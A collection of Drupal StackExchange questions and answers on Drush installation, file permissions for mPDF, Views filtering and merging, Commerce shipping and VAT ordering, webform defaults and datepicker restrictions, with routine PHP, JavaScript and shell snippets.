title: Drush not installing correctly

text:
# Question
Title: Drush not installing correctly
I'm attempting to install Drush on a new system OSX 10.10.4.

The process is no longer the simple one it used to be :(

I've complied with the requirement to install via Composer (that was not small feat either), and finally have Drush installed.

However, executing Drush results in the following:

```
which drush
env: sh\r: No such file or directory

```

I've seen issues logged similar to this with scripts that had spurious LF/CR. I haven't written any scripts. No idea where this is coming from.

Solutions I've tried include using Composer to uninstall the Drush and install 6. Process appears to work, but results the same when attempting to run Drush.

# Answer
The error message suggests that the script you're invoking has embedded **\r** characters, which in turn suggests that it has Window-style **\r** line endings.

Try to install from other source or something
> -1 votes

---
Tags: drush, composer
---


# Question
Title: Duplicate / Triplicate inline javascript
On some pages of my site when inline javascript has been added to page it get added multiple times.

I've looked through my base theme (Zen) and my default theme (custom) for anything that may be messing with the drupal\_add\_js process but I haven't been able to find anything.

Does anyone have any suggestions for what might be causing this?

# Answer
> 0 votes
The problem ended up being the module Panelizer. I was using the Default view and should have been using the Full Page Override view.

---
Tags: 7, javascript, theming
---


# Question
Title: Repository module code completely different from downloaded file
Using the Drupal Soundmanager2 module that hasn't been updated in about three years. Added a little functionality and want to submit a patch.

I think this can be done via git:

```
git clone --branch master http://git.drupal.org/project/soundmanager2.git

```

but the files shown in the tree that are in the download zip file are completely different from what's in the git repository.

Am I missing something here?

# Answer
I think the master branch is still pointing to an old (probably obsolete) branch. To get the latest version, which is inline with the zip file you downloaded, you should use:

`git clone --branch 7.x-2.x http://git.drupal.org/project/soundmanager2.git`

Maybe you should open an issue and point them to the Moving from a master to a major version branch documentation.
> 2 votes

---
Tags: version-control, community-official-site
---


# Question
Title: Error Message: "You must change the sites/all/libraries/mpdf/graph_cache permissions to be writable, as mPDF requires write-access to that directory."
I'm getting the following error message:

"You must change the sites/all/libraries/mpdf/graph\_cache permissions to be writable, as mPDF requires write-access to that directory."

The problem is that it is writable by apache and it has the correct permissions.

```
drwxr-xr-x.  2 hpadmin apache      22 Jul  2 10:51 graph_cache

```

# Answer
> 0 votes
It turns out that the problem was the server was using SELinux that was overriding file permissions made using chmod. Hence, even with 777 permissions the file wasn't writable. The solution was to contact the hosting company and get them to change the configuration of SELinux.

# Answer
> 2 votes
Actually, it looks like it's not writeable by the "apache" user. It's read only. It is writeable by the "hpadmin" user though. Currently "hpadmin" is the owner and "apache" is the group.

```
drwxr-xr-x.  2 hpadmin apache      22 Jul  2 10:51 graph_cache

```

vs

```
drwxrwxr-x.  2 hpadmin apache      22 Jul  2 10:51 graph_cache

```

You can adjust the permission to group writeable with

```
chmod 775 sites/all/libraries/mpdf/graph_cache

```

or change "apache" to the owner with

```
chown apache:apache sites/all/libraries/mpdf/graph_cache

```

---
Tags: files
---


# Question
Title: Views merge rows: merge uniques values and show the first one
I'm using Views merge rows to grouping rows by some fields, It worked good for me, but in some fields I want to show just the first filled value that means: *merge uniques values+use the first value*.
View after using VMR
Orginal view
Is there a way to do that using views merge rows? or I have to use an other solution?
Or how I can hide/remove rows which have *cycle smaller than the max cycle value for every every container* -see the image above-? I couldn't do it with views filter.

I'll explain my use case below to show the purpose of creating this view:

> The objective was tracking the containers, so I have to show containers and there currents and previous places.
> The container pass by a number of positions (in depot, at port of delivery, at port of loading...) until being in the vessel( position: on board), or it can be in an exceptional position like "reformed". I called the passage through those positions from the start to the end a "cycle"
> If the container is on board we have to fill all information about previous positions in a form "bill of lading".
> What I did as solution, I created 3 content type : container,position,bill of lading.
> The position content type reference the container and contains a select list field "position container" and 10 field collection field, every field collection contains a specifics fields for a single position.
> So for every node position, I fill the field container, I select "position container" , I fill the field collection fields corresponding to the position selected. For example if I created a new position for the container "blk001" in position "in depot", I fill the field collection fields "name depot" and "date in depot".
> For the bill of lading content type it reference the containers also, I redirect to it every time the node position is saved and "position container" is "on board".
> Now the challenge is providing a list of containers,with the current bill of lading "N° B/L", the current cycle and merging all the positions fields corresponding to this cycle.

# Answer
> 0 votes
Sure there is probably some way to do that with PHP or an advanced SQL query. I recommend looking at Views Aggregator Plus as it allows you to aggregrate over Views PHP values.

Views is a simple query builder. When you want to do something really really complex, it can be useful to try to do some business logic outside of the views admin ui.

# Answer
> 0 votes
I am providing a 2nd answer, as it's drastically different from the 1st. I believe my 1st answer may still help others.

I repeat -- you're trying to do something that is essentially too complex for Views by itself, and you'll have a hard time finding a magical set of Views related modules that will be allow you to create all the business logic you want within Views SQL.

If you could try to make the raw (non-Drupal SQL) you wanted that achieved this query *with the data you have as-is*, you could then try to use Views Extra Handlers to contain the custom SQL needed, or hook\_query\_alter to change the query Views uses to achieve the result you want.

I suspect this would difficult, and I suspect you don't know what raw SQL would achieve the list you want.

So I keep saying your task is difficult as-is, with the data you have on hand and the format of the data. Make you're life easier and give yourself **more** data. You merge results provides multiple `date of loading`. From all possible entries for a `Container` (such as `BLK001`).

Here's a suggestion:

* Use Rules
* Add a custom field called `is_first_load_date` as boolean value to your content default.
* Default it to `FALSE` for all entries of your content type.
* Using Rules on `node insert` scan all Containers of title `BLK001` and examine `date_of_loading` -- if the newly inserted `Node` is the earliest date to be loaded set `is_first_load_date` to `TRUE`, set all other `NIDs` of this Container to `FALSE`.
* Update your query to use this new piece of data, *which is simpler to compute using Views*.

So that's my new solution for you. *Save or compute new additional data you store per-record* to make your Views query easier. If you dont like Rules, then use Computed Field, but Rules is more flexible.

I dont know if my exact field you want to aggregate or merge is correct from all the details you've provided. I don't really care what your exact SQL problem is. I'm recommending you approach the solution from a different direction *outside of the Views Admin UI*.

---
Tags: views
---


title: How do I set a stored procedure?

text:
# Question
Title: How do I set a stored procedure?
How can I process following query structure in drupal 7.

```
set @num := 0, @termid := 0;

SELECT  * FROM (SELECT tid,nid,created,
           @num:=IF(@termid = tid, @num + 1, 1) AS row_number,
           @termid:=tid AS termid .......

```

# Answer
> 1 votes
It has been **solved** using.

function hook\_install(){

db\_query("CREATE PROCEDURE `xyz`()

BEGIN set @num := 0, @termid := 0; ......................................");

---
Tags: database
---


# Question
Title: how to display a custom entity in a view
This is my first time making a custom module and I want to display some of the content that is produced in a view, but I can't figure out how to make my custom entity show up in the SHOW: select list when making a new view.

What code do I need to add to my custom module to have it show up there?

# Answer
> 2 votes
Include this in your hook\_entity\_info

```
MyModule_entity_info() {
...
'views controller class' => 'EntityDefaultViewsController',
...
}

```

For more details check this link : http://www.sitepoint.com/build-custom-drupal-entities/

# Answer
> 1 votes
You can use this and this articles or download Model Entities module and look how new entity is implemented in this module.

---
Tags: views
---


# Question
Title: Modify price components from Commerce Shipping without altering the module itself
I use Drupal Commerce with Commerce Shipping and Commerce Flat Rate.

I have a client who wants the shipping line item in the *commerce summary cart* to come before the tax line item. My problem lies in that Commerce Shipping doesn't expose the weight of each shipping service when it implements the `hook_commerce_price_component_type_info` as seen below.

I have tried to use the mentioned hook in one of my own modules and with a lower value for the weight. This produces an error in the Commerce Price module where it tries to do the addition `array(20, -50) + 1`. Somehow, the Commerce Price module creates an array of the values instead of overwriting.

The weight I'm trying to overwrite is the one in the foreach loop.

Once I have solved this, I'll need to subtract the tax component on the shipping line item, but that's another problem which I can probably figure out by myself.

*Line 110 to 135 in commerce\_shipping.module.*

```
/**
 * Implements hook_commerce_price_component_type_info().
 */
function commerce_shipping_commerce_price_component_type_info() {
  $components = array();

  // Define a generic shipping price component type.
  $components['shipping'] = array(
    'title' => t('Shipping'),
    'weight' => 20,
  );

  // Add a price component type for each shipping service that specifies it.
  foreach (commerce_shipping_services() as $name => $shipping_service) {
    if ($shipping_service['price_component'] && empty($components[$shipping_service['price_component']])) {
      $components[$shipping_service['price_component']] = array(
        'title' => $shipping_service['title'],
        'display_title' => $shipping_service['display_title'],
        'shipping_service' => $name,
        'weight' => 20,
      );
    }
  }

  return $components;
}

```

PS. Tax rate on shipping price is not the same as my problem. DS.

# Answer
> 1 votes
If I get you correctly, you want to alter the order in where this components are displayed in the checkout process.

What I've done for *minor* tweaks on this area is using a preprocess of the components theme function, for example:

```
function mymodule_preprocess_commerce_price_formatted_components(&$variables) {
}

```

There you've got $variables and all the components, including the shipping ones so you can tweak some things of the display.

# Answer
> 0 votes
Try the following Hook

hook\_commerce\_price\_formatted\_components\_alter

For more details on this hook refer : http://api.drupalcommerce.org/api/Drupal%20Commerce/sites!all!modules!commerce!modules!price!commerce\_price.api.php/function/hook\_commerce\_price\_formatted\_components\_alter/DC

---
Tags: commerce
---


# Question
Title: How to monitor several sites for updates from one central site?
I have several Drupal sites and wish to have one site list all of their "status" and available updates. So to start with I am trying to find how to get the available updates.

The central site has access to the databases of all of the others so I am hoping to pull info direct from there but I have no clue where to look.

Is there a table with such information that is auto updated on cron etc?

# Answer
> 2 votes
You can use Drupal Remote Dashboard module for this

> This module is for system administrators. It's a tool to monitor and manage any number of Drupal installations at once and it's built to be extensible by other modules. Since version 2.X this module also comes with the highest level of security where as all communication between the dashboard and each of the cores is AES encrypted, hence the dependency (see below). Optionally the monitoring data will be made visible in nice graphs if the Google Chart API is available.

# Answer
> 1 votes
### Contributed modules for Site Monitoring

Some of the child pages about Monitoring a site (which also has a childpage about Drupal Remote Dashboard, mentioned in another answer already) describe some other relevant topics, such as:

The table(s) these module operate on, are probably the table(s) you are looking for.

### Custom reporting and charting

The contributed modules mentioned before typically offer canned reports / charts / queries. On top of that, you probably also want to consider all sorts of "Custom Report and/or Charts". For inspiration about what is possible in that area, consider looking at these questions / answers:

---
Tags: 7, updating
---


title: Drush features commands + git

text:
# Question
Title: Drush features commands + git
I have a doubt about the functionality of Drush Features commands when it works with git:

Before I do a `git pull`, can I do `drush fu example`? Will this command overwrite the changes of the feature coming with the pull and `drush fr example` will not work properly?

Thank you.

# Answer
Your question is equivalent to asking if you can edit a file before doing a git pull. The answer is yes, but if there are conflicts, then you will need to merge them.

Returning to your example, if there are no changes to your local configuration, then the files that `drush fu` will write will be the same as the files currently in the repository. In this instance, git will happily do the pull, as it will consider the files to be unchanged, even if `drush fu` rewrote them.

If you do have changes (`git status` after `drush fu` will show this), then it would be a good idea to run `git stash` prior to `git pull`. After you pull, `git stash pop` will overlay your stashed changes on top of the pull, and you can see what the conflicts are.

**Disclaimer**: I have never hand-merged conflicts from features. I always pull the database from live to dev, and push code from dev to live to avoid this.
> 1 votes

# Answer
We have developed Kraftwagen which is specifically aimed at making Drupal projects more 'version control friendly'. The main win is that you only commit code that you wrote; the codebase of Druapl and modules are kept out of the repo.

Please have a look and let us know what you think of it!
> 0 votes

# Answer
I am giving a brief about Drush Feature Commands :

1. `drush fu feature_machine_name -y` `(Database to code entry)` When you changes in your feature its state changed to `Overriden`. So you have to update the feature so that data from database write into the code.
2. `drush fr feature_machine_name -y` `(Code to database entry)` When multiple people work on the project, there are more chances of conflicts. So before start working on anything, what you have to do is to pull the code befroe start working and revert the features which are on the `Overriden` state so that database entry done on the basis of new code come from you repo.
> 0 votes

---
Tags: drush, version-control
---


title: preprocess_page if front

text:
# Question
Title: preprocess_page if front
I have a preprocess\_page function that applys classes to my content if there is a sidebar or not.

```
  if ($vars['page']['sidebar']) {
    $vars['content_classes'] = 'cool-class';
  }

  else {
    $vars['content_classes'] = 'super-cool-class';
  }

```

Can I do a similar with adding class if its the front\_page. I want it to be included into this one but I do not seem to find the right way to do it.

Thank you very much,

# Answer
> 2 votes
Need to add both condition for **sidebar** and **front page** like this.

```
if (drupal_is_front_page() && $vars['page']['sidebar']) {
      $vars['content_classes'] = 'cool-class';
}

else {
      $vars['content_classes'] = 'super-cool-class';
}

```

# Answer
> 0 votes
You want to use the drupal\_is\_front\_page() function.

Something like :

```
if (drupal_is_front_page()) {
  $vars['content_classes'] = 'front-page-class';
}
else {
  $vars['content_classes'] = 'normal-page-class';
}

```

---
Tags: theming
---


title: Add comments on user profile

text:
# Question
Title: Add comments on user profile
How do you add a comment form on your user profile in Drupal 7? I have installed panels but I don't know how you add the comment form on the users profile

# Answer
> 1 votes
I believe that the user profile is not a type of "node" so it is invisible to Panels. Therefore, you will most likely need to write a custom module that will inject the comment form into the user's profile page.

# Answer
> 1 votes
I've created a "guestbook" type content type with a user reference to the user. That content type has comments enabled. Then using the prepopulate module I pass the username to the "node add" page which looks like this:

```
node/add/guestbook?edit[field_guestbook_userreference][und][0][uid]=USERNAME

```

Then use a view to display the guestbook nodes on a user profile with links to see the comments.

If you use the profile2 module (which turns user profiles into nodes) then you can probably just enable comments to get your "profile comments".

You might also want to checkout the guestbook module, there has been some recent development for the D7 dev version.

# Answer
> 0 votes
Have a look at the Disqus module, which says that you can add comments either on node or to user:

> Drupal Integration
>
> * Display recent comments, popular threads, and other widgets in blocks
> * Provide comments on any node type or user
> * Views 2/3 integration (number of comments)
> * Single Sign-On

# Answer
> 0 votes
This is a duplicate question, have a look at this post, I went for user profile comments module

EDIT: user profile comments works module works fine out of the box, but has a lot of 'missing features', not recognized by: panels, features, views, i18n, etc. if you don\`t need those, go for it.

Inspired by @moto-Tribe answer I solved like this:

You'll need: (modules) views, panels, rules, entity reference and entity reference prepopulate.

1.- Make a contentype named:user\_comments, remove body field. Comments will be node title (255 Maximum length). Add a entity reference field (field\_user\_reference\_comments)

2.- Make a USER view (user\_comments), add relationship to "entity reference". In contextual filter add : User Uid-\>provide a defauld value:user id from url.

3.- Inside view make 2 blocks (I did content panes) First block: add UID field, rewrite results: `<a class="" href="/node/add/user-comments?field_user_reference_comments=[uid]">Add comment</a>`; Second block: add content title field usig the relationship. add more relations and fiedls as needed.

4.-Add a new rule (import from here, make sure follow syntax explainded above): `{ "rules_redirect_on_add_a_user_comment" : {
 "LABEL" : "redirect on add a user comment",
 "PLUGIN" : "reaction rule",
 "OWNER" : "rules",
 "TAGS" : [ "user account" ],
 "REQUIRES" : [ "rules" ],
 "ON" : {
 "node_insert--user_comments" : { "bundle" : "user_comments" },
 "node_update--user_comments" : { "bundle" : "user_comments" }
 },
 "DO" : [
 { "redirect" : { "url" : "users\/[node:field_user_reference_comments]" } }
 ]
 }
}`

5.- Enable from panels "user-view". Add user being viewd, add views FIRST BOLKC, add Second block.

6.- You are done, works perfect.

---
Tags: users
---


# Question
Title: Customize days that can be clicked on a Calendar popup
I am creating a form in Drupal 7 with the form API. Right now, I can create an ordinary calendar input field with the following code:

```
   $form['services_tab']['schedule_datepicker'] = array(
    '#title' => t('Pick the desired date'),
    '#type' => 'date_popup',
    '#date_year_range' => '0:0',
    '#date_format' => 'Y-m-d',
    '#prefix' => '<div id="datepicker-schedule">',
    '#suffix' => '</div>',
  );

```

Right now I can get the beautiful calendar popup to appear. What I am trying to achieve is enable or disable certain dates based on a rule like: disable all Saturdays and Sundays; or even remove the click state from specific dates based on a list of national holidays...

Is this something that can be achieved with PHP coding, or does it need to be done with jQuery? In case jQuery is the solution, I would appreciate any hints on how to do that... The calendar is a table, but table cells don't have an ID or something that could help me find and disable them based on a rule...

Thank you.

# Answer
You can pass some Datepicker options from php to the date\_popup element through the '#datepicker\_options' key:

```
<?php
$form['date'] = array(
  '#title' => t('Pick the desired date'),
  '#type' => 'date_popup',
  '#datepicker_options' => array(
    'minDate' => 0,
  ),
);

```

With this method you can pass almost any option but those that accept a function as value, as `beforeShowDay`, the one needed to restrict weekends or holidays according to the answer referenced by Nikit: https://stackoverflow.com/questions/501943/can-the-jquery-ui-datepicker-be-made-to-disable-saturdays-and-sundays-and-holid

Hence, javascript is required. First you need to include a custom js file from your module code:

```
<?php
drupal_add_js(drupal_get_path('module', 'FOO') . '/FOO.js');

```

and provide some code in `FOO.js` to extend the settings set by date\_popup module with our own options.

Here's an example that add the basic option to disable weekends for all datepicker widgets in the page:

```
(function ($) {
Drupal.behaviors.FOO = {
  attach: function (context) {
    for (var id in Drupal.settings.datePopup) {
      Drupal.settings.datePopup[id].settings.beforeShowDay = $.datepicker.noWeekends;
    }
  }
};
})(jQuery);

```

Extend to holidays is left as an exercise to the reader :)

Note: the three occurences of `FOO` in my examples doesn't need to be the same literal, ie: you can provide a `BAZ` behaviour in `BAR.js` from `FOO.module`.

Update: to extend the above for custom days availability, just add a function returning true/false for the day received by parameters.

```
(function ($) {
Drupal.behaviors.FOO = {
  attach: function (context) {
    for (var id in Drupal.settings.datePopup) {
      Drupal.settings.datePopup[id].settings.beforeShowDay = checkDate;
    }
  }
};

function checkDate(date) {
  if ((date.getDate() % 2) == 0) {
    return [false, 'Even days not available'];
  }
  else {
    return [true, 'Odd days are fine'];
  }
}
})(jQuery);

```

You can find a more complete example in Date Restrictions module.
> 9 votes

# Answer
I have used Date Restrictions module. This provide and option to restrict date on number of parameters like fixed date, Relative date, etc.
> 0 votes

---
Tags: forms, datetime
---


# Question
Title: How to apply drupal_add_css by block_id in Drupal?
I am trying to apply css by block\_id or block title.

```
if($template_name=="BOhhjI" && $block_name=="block1" ){
  drupal_add_css(drupal_get_path('module', 'MyModule') . '/css/grid.css', array('group' => CSS_DEFAULT, 'every_page' => FALSE));
 }
  else if($template_name=="calender" && $block_name =="block2"){
  drupal_add_css(drupal_get_path('module', 'MyModule') . '/css/carousal.css', array('group' => CSS_DEFAULT, 'every_page' => FALSE));
 }
 else{
  drupal_add_css(drupal_get_path('module', 'MyModule') . '/css/MyModule.css', array('group' => CSS_DEFAULT, 'every_page' => FALSE));
 }

```

But, **drupal\_add\_css** apply css to whole page. I have a single template and multiple css.I need to switch css on a given condition. Any way to achieve this?

Edited: Following solution from comments

```
function Module_Name_block_view($delta = '') {
    $blocks = array();
    $query = db_select('Table Name', 'n')
            ->fields('n')
            ->execute();
    $block_data = $query->fetchAll();
  foreach ($block_data as $block_query) {
  $macname = $block_query->title;
  if($block_query->options == 'BOI'&& $delta == $macname){

    $blocks['subject'] = t($block_query->title);
    $blocks['content'] => array
      (
        '#markup' => block_content($block_query->selected_type_list),
        '#attached' => array
        (
          'css' => array('/css/grid.css'),
        ),
      );
}
  }
  return $blocks;

}

```

# Answer
> 0 votes
You can try this code. Paste this code in file template.php

```
function YOURTHEME_preprocess_block(&$vars) {
  // use dpm($vars) to see struct of variable $vars
  $delta = $vars['block']->delta;
  switch ($delta) {
    case 'abc':
      //add css here
      break;
  }
}

```

Block ID are

* string 'block'
* $variables\['block'\]-\>module
* $variables\['block'\]-\>delta

You can check block delta to use drupal\_add\_css()

# Answer
> 0 votes
I think block class module https://www.drupal.org/project/block\_class would be suitable for this. All you need to do is add class or id to block and using this and mention css property of that class in your style.css. This module can be use on custom as well contrib.

---
Tags: blocks, theming
---


# Question
Title: How to pass field data from custom node type to webform block?
I'm using the Webform module's block on custom content type.

The webform has some text fields and I want to pass some data from my custom content type fields to webform fields.

I tried to add a default value by using tokens but it didn't work (\[node:custom\_content\_type\_custom\_field\] is shown on the available tokens but didn't work).

**How can I pass field data from current (custom) node to webform block?**

# Answer
> 1 votes
I could do what I want by hook\_form\_alter but there is something else to be careful about.

I created a new custom module `myform`.

```
<?php
function myform_form_alter(&$form, &$form_state, $form_id) {

```

I want my custom module to effect only a specific webform:

```
  if ($form['#id'] == 'webform-client-form-2') {

```

I used menu\_get\_object() to load current node data.

```
    if ($node = menu_get_object()) {

```

Here is important, because the webform is available as a standalone page. If I don't use the code below it gives error on the webform page because there is no `field_custom_field` on that page.

```
        if($node->type == "custom_content_type") {

```

Then I passed the custom\_field's value to webform field:

```
        $form['submitted']['my_form_field']['#default_value']
           = $node->field_custom_field['und'][0]['value'];

```

As a final step, I made the my\_form\_field read-only:

```
        $form['submitted']['my_form_field']['#disabled']=TRUE;

```

**And this is the complete form of myform.module:**

```
<?php
function myform_form_alter(&$form, &$form_state, $form_id) {
  if ($form['#id'] == 'webform-client-form-2') {
    if ($node = menu_get_object()) {
        if($node->type == "custom_content_type") {
        $form['submitted']['my_form_field']['#default_value']
           = $node->field_custom_field['und'][0]['value'];
        $form['submitted']['my_form_field']['#disabled']=TRUE;
    }
  }
 }
}

```

**Bonus**: You can set the CSS for the my\_form\_field to not show:

```
.webform-component--my-form-field {
    display: none;
}

```

# Answer
> 1 votes
The only way to do this is using a hook\_form\_alter against the webform block. Webform is a great module overall but when you step outside of what it provides out of the box it gets complicated. The hook\_form\_alter will need to be set to only modify that form based on the form ID that gets created when the form is built.

The code will be similar to this:

```
/**
 * Implements hook_form_alter().
 */
function yourmodule_form_alter(&$form, $form_state, $form_id) {
  if ($form_id == 'webform_client_form_103') {
  // Do your mods.
  }
}

```

***NOTE***: 'webform\_client\_form\_103' will be replaced with your form id.

---
Tags: 7, entities, webforms
---


# Question
Title: Expose a view filter that lists usernames of a specific roll in a roll down menu
I have a `view` on one of my sites that list a table of content that is connected to (`entity reference`) a user with a specific role.

Is it possible to make an `exposed filter` that lists all users of role X in a roll down menu?

# Answer
It is easy , add new filter , choose your field (the field which takes the user) , in filter settings limit users to users in your specific roles (1 or more roles could be selected) and then expose filter with equal operator for user , and user can restrict shown content to a specific user .
> 0 votes

---
Tags: views, input-formats
---


# Question
Title: Create a view to list contents according to taxonomy & content type
I have vocabulary with these terms

* Countries

+ India
    + USA
    + UK
    + ...
* Sports

+ Soccer
    + Hockey
    + Cricket
    + ....

And I have following content types

* News
* Events
* Article
* ...

I need to create view that will show listing of content(s) as per the following path

for example:

/sports/soccer/news

/countries/india/news

or

/news/sports/soccer

/news/countries/india

Thanks for the help

# Answer
You can create views pages with next pathes:

"taxonomy/term/%/news"

"taxonomy/term/%/events"

"taxonomy/term/%/articles"

Install Pathauto module and add "\[term:parent\]/\[term:name\]" pattern for URL alias for your vocabulary, and install Sub-pathauto module that will apply aliases for URL like this 'taxonomy/term/1/news'
> 0 votes

---
Tags: 7, views
---


# Question
Title: Invert shipping rate position with VAT field
As described in this post I'd like to invert the row between shipping service and VAT calculation.

I don't know how to use that hook... Can someone tells me more?

Thanks!

EDIT: I followed the example. I created the module, it's active and running but I see that nothing happens.

I tell you what I did (it's all in italian): \- Created posizione\_iva.info file with this content

```
core = "7.x"
description = "Modulo che sposta la riga dell'IVA dopo tutti i valori imponibili."
name = "Posizione IVA"

```
* Created posizione\_iva.module and copied the function

I have a doubt about this condition `if (substr($name, 0, 3) == 'iva')` Where can I find the right component name? I tried vat, VAT, iva, tax...

I use the default Drupal Commerce Kickstart installation and the "tax" module.

# Answer
I assume that you know how to create a module and what a hook is, you can use hook\_commerce\_price\_component\_type\_info\_alter like this:

```
<?php
function mymodule_checkout_commerce_price_formatted_components_alter(&$components, $price, $entity) {
  if (isset($components['commerce_price_formatted_amount']['weight'])){

    // Get the row weight of total sum.
    $last_weight = $components['commerce_price_formatted_amount']['weight'];

    // Increase the row weight of the total row, so we can place the vat directly before.
    $last_weight = $last_weight + 100;
    $components['commerce_price_formatted_amount']['weight'] = $last_weight;
  }

  if (is_array($components) && count($components)>0){
    foreach ($components as $name => &$component){

      // Set the weight of the VAT row to the last position before the total sum.
      if (substr($name, 0, 3) == 'vat'){
        $component['weight'] = ($last_weight-1);
      }
    }
  }

  return;
}

```
> 1 votes

---
Tags: commerce
---


# Question
Title: Entity view displays are throwing dependency errors during installation
I have a custom entity in my module. During installation I am creating a bundle for this entity. Then in the config I have two entity view displays for this bundle. One of those displays is for the default view mode.

During installation I am getting dependency exception for these two displays. But if I import them manually via config import everything works just fine.

So I have moved these into the optional config for now. This causes another issue and that is the display for default mode for my entity bundle.

When a new bundle is created the display for default mode is automatically created. So since I now have the config as optional it will try to import it afterwards but the display for default mode already exists so it will do nothing. The only solution that comes to mind is putting the config for this display into code bude I'd rather not.

So the solution for the first issue causes the second issue. Therefore how can I fix that dependency issue?

I was thinking about removing the dependency on the bundle form the display config and putting dependency on the display into the bundle config but that would not work since display needs an existing bundle first.

# Answer
No, removing the dependencies is not the solution.

As I said in my comment, automatically doing something when config is installed or imported is an anti-pattern that should be avoided when possible.

Just create all the config through config/install and don't trigger automatically creating displays through pre/post save hooks/methods and your problems should go away.
> 1 votes

# Answer
The issue was that the display modes contained configuration and holded dependencies on fields that were not yet attached to the entity bundle. Hence the issue. I am attaching "default" set of fields to all bundles on my entity when a new bundle is created so I think the displays are being imported before the fields are attached and that is the cause of this. The solution, for me, is to configure the displays programmatically and not via config.
> 0 votes

---
Tags: 8, configuration, entities
---


# Question
Title: How to add/modify new taxonomy terms in node edit form? (taxonomy type is not tag)
For example, when adding/editing a node, if a needed taxonomy term(category) doesn't exist, then for the user with right permission, he/she can then add a new term without leaving the node editing form? The term should be hierarchical not like tags, for example the category of the content.

I believe I saw a module which can handle this type of thing by providing a button to create new taxo

Thanks!

# Answer
May be you are looking for Taxonomy Other module ?
> 1 votes

# Answer
I like to use Active Tags for this sort of thing. It has a nice autocomplete function. There will be an option on the Content Type Field form about which behavior it should have when users input a term that doesn't exist (one is to create the term).
> 1 votes

# Answer
add custom link on node form to create taxonomy term and when user create new taxonomy add a destination path of node edit form like www.example.com/taxnomoyterm ?q=node/123/edit

or you can use these modules

Simple hierarchical select

Hierarchical Select
> 1 votes

---
Tags: taxonomy-terms
---


# Question
Title: drupal_http_request times out on Google Maps geocoding URL
When I navigate to `http://maps.google.com/maps/api/geocode/json?address=1200+Amphitheatre+Parkway,+Mountain+View,+CA&sensor=false` (the Google Maps Geocoding API test address) in my browser (Chrome), I get a json response as expected. However, when I `drupal_http_request()` the same url, I get a request timeout error. I tried setting the timeout to 60 instead of 30 but it doesn't help.

Why does `drupal_http_request('http://maps.google.com/maps/api/geocode/json?address=1200+Amphitheatre+Parkway,+Mountain+View,+CA&sensor=false')` return a timeout error?

# Answer
> 0 votes
From everything mentioned, it sounds like a network issue; your web browser can reach the host @ **maps.google.com** but the server hosting Drupal can not. You can confirm this by trying to ping (`ping maps.google.com`) or telnet (`telnet maps.google.com 80`) **maps.google.com** on your server console.

With either command, you should get some sort of timeout or unknown host errors if that's truly what the problem is. This could happen for various reasons: server host firewall rules, Google blocking your server IP (e.g. a shared hosting env where someone is hammering maps.google.com), DNS lookup problems, etc.

# Answer
> 1 votes
You cannot directly include url queries in the url when using drupal\_http\_request(). Use url().

```
$url = url('http://maps.google.com/maps/api/geocode/json', ['query' => ['address'=>'1200 Amphitheatre Parkway, Mountain View, CA', 'sensor'=> FALSE]]);
drupal_http_request($url);

```

---
Tags: google-maps, http-request
---


# Question
Title: How to use uploaded images from an image gallery in an article?
Maybe I am not searching for the correct terms, but I am trying to use an **image gallery** and be able to **reference** the **images** in that gallery from an **article**. I want to be able to upload the images **one time**, but then have specific images to be shown in the **article**, either as a **"sub-gallery"** or just **inline** with the text, depending on the context of the article.

Is it just as simple as creating an image tag and setting the source to the relative address inside the drupal site? Or is there a better way to accomplish what I am trying to do?

# Answer
> 0 votes
The module Entity reference can do the job.

> Entity reference provides a field type that can reference arbitrary entities

...ie your gallery files!

With this module you can add an **"Entity Reference Field"** related to your gallery files to the **Article** Content Type.

Then, for each **Article**, you can add 1 or more images among those already loaded.

# Answer
> 0 votes
Creating galleries is a common request, which can be solved in various ways. Talking Drupal #083 is a great podcast about creating a Gallery, and includes a lot of recommended modules for it. Just to mention a few of them (mentioned on the linked page):

>

So if you're looking for a better way, consider the above list of modules as a possible shortlist to further explore. Which one is going to be "best" (cfr. the "*better way to accomplish this*" in your question) is a matter of preferences, actual requirements, etc.

---
Tags: nodes, media
---


# Question
Title: Filter a Drupal View by a Taxonomy Term Reference
I have a view that generates a block on all taxonomy term pages under a specific vocabulary (lets call this vocabulary 'pages' for now). That specific vocabulary has a field added that is a term reference to a a vocabulary we can call 'pagetype' (you can only select one value). I want my view to display all 'pages' that have the same 'pagetype' as the one that I am currently on. The problem is I cannot figure out how to use the current term's 'pagetype' for the contextual filter instead of the current term ID. Any help with this would be awesome.

# Answer
> 2 votes
1. Create view (block)
2. Add fields (title, a small image, date, whatever you like). Or teasers, what works as well.
3. **Arguments**” is from now on called “**Contextual filters**”, so go there.
4. Add the filters: “**Content: Has taxonomy term ID (with depth)**” and “**Content: Has taxonomy term ID depth modifier**
5. Configuration on this filter: → When the filter value is NOT in the URL: → Provide default value → Type: Taxonomy Term ID from URL → under that, check the box “Load default filter from node page, that’s good for related taxonomy blocks.” → now check the boxes of the taxonomies you want involved here
6. Now you need to add the second filter in order to exclude the current node from the list. Click **\[+\]** button of the contextual filters section.
7. Select **Content: Nid**
8. Set the ‘**when argument is not present**’ to ‘**Provide default argument**
9. Set the ‘**Default argument type**’ to ‘**Content ID from URL**
10. Go to “**MORE**” , and check the “**Exclude**” box.
11. Move the filter “**Content: Nid**” to the top position.
12. Add a block to your view and embed the block on your node pages
13. Save your view

# Answer
> 0 votes
Try out Taxonomy Term Reference Filter by Views module:

> Add Views Settings for a Taxonomy Term Reference Field Instance to filter the available terms for the field widget form input. inspired from Views integration of Entity reference field widgets.

---
Tags: views
---


# Question
Title: how to add wrapper div for a image via image formatter in drupal 7?
I am creating custom formatter for images using hook\_field\_formatter\_settings\_form() in drupal 7.. I need to add wrapper div for my custom formatter. Means when I select this formatter then image should be wrapped by div. for example . `<div class="wrap"><img src="#" /></div>`

# Answer
> 1 votes
You need to add one more hook to default add to field wrapper.

```
 function hook_field_formatter_view($entity_type, $entity, $field, $instance, $langcode, $items, $display) {
  $settings = $display['settings']; // Key needs to be defined in info array (who knew?)
  $element = array();
  if ($display['type'] == 'default_formatter') {
    foreach ($items as $delta => $item) {
      $element = array(
        '#prefix' => '<div class="wrapper">',
        '#suffix' => '</div>',
      );
    }
  }
  return $element;
}

```

---
Tags: hooks
---


# Question
Title: Tabledrag in grid shape for media form field widget thumbnails
I am looking for a way to change the tabledrag into a grid shape. A nice looking solution for drag-and-drop uploading files and sorting them in a way that jquery sortable does. It should end up to be something like the uploaded thumbnails in Facebook's status update form.

Looks like I'll end up writing a custom solution from scratch like the one here: jQueryUI Sortable + HTML5 File API examples?

Can you show me a starting point or do you know about any work has been done so far?

# Answer
> 0 votes
Plup seems a good place to start altough it looks abandoned.

Additionally there is this wiki page for comparison of similar modules.

---
